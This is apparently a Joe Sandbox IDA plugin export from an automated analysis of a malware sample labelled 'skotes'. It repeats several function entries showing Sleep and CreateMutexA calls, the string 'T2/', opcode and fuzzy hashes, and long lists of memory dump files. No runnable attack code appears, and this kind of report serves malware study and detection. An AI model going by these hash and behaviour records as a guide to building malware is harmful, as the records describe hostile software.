Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 5cc69197ef3424f3c4affbfdd3c1ccba179738b5ae64a3d84aa6ab33a836a02c
Instruction ID: 721d56e9db5d1635f83ce5bdabdd06e535d289d66ae041a6c01e21072922505c
Opcode Fuzzy Hash: 5cc69197ef3424f3c4affbfdd3c1ccba179738b5ae64a3d84aa6ab33a836a02c
Instruction Fuzzy Hash: 0FE086304621486ECE257F14CC0AE483B59EB91785F500518F9044B226CF25ED62CA80

Function 00299BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2/
API String ID: 1464230837-3528799830
Opcode ID: d6e97e06cdc4b97a1fe36194d219c4419da6d57af43f8ce620e946be96b80c3c
Instruction ID: 056a9ebe4f22980e982622b5af63c7994da4f7ff712f3ded30f431bbe216041f
Opcode Fuzzy Hash: d6e97e06cdc4b97a1fe36194d219c4419da6d57af43f8ce620e946be96b80c3c
Instruction Fuzzy Hash: 953148316202008BEF08EB7CEC89B6DB766EBC6324F24821DE414D77E5CB7599E18791

Function 00299F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2/
API String ID: 1464230837-3528799830
Opcode ID: 30fd88d894077eafaa90bac0a1ea510e42a54de48669a7a28e0714a47da5742a
Instruction ID: 4abb36c37adc9f6ac30be133f33a0c83c3791ca8278859d7c2b251e369d42b49
Opcode Fuzzy Hash: 30fd88d894077eafaa90bac0a1ea510e42a54de48669a7a28e0714a47da5742a
Instruction Fuzzy Hash: D33148316202008BFF18DB7CDC89BACF766EF86324F248219E415D76E1CB3599E08792

Function 0029A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2/
API String ID: 1464230837-3528799830
Opcode ID: b036fbe42ef6d2d77797dc2022f1f2fe498867b3198a8d9dfeab9eea900c73a2
Instruction ID: fc910e97da3c4f4dbfbc3b8899ff8080434fc1bc906d032c39e59142c2a7b64c
Opcode Fuzzy Hash: b036fbe42ef6d2d77797dc2022f1f2fe498867b3198a8d9dfeab9eea900c73a2
Instruction Fuzzy Hash: 173148316203409BFF08DB78DD89B6DB766EB82324F248219E415D77E1CB7699A08792

Function 0029A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2/
API String ID: 1464230837-3528799830
Opcode ID: 9d38f97d282b0b951f34f5ccdc68ed104f55917518bb11e2e0c813f974d5df1e
Instruction ID: b5eaa3b90fe8dbc86e257cfa8f13384e77fd9cfde47a0c381a234b836bbe774f
Opcode Fuzzy Hash: 9d38f97d282b0b951f34f5ccdc68ed104f55917518bb11e2e0c813f974d5df1e
Instruction Fuzzy Hash: EB314A31A203419FFF08DB78DC89B6DB766EBC6314F244219E414D77E1CB7599A08792

Function 0029A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
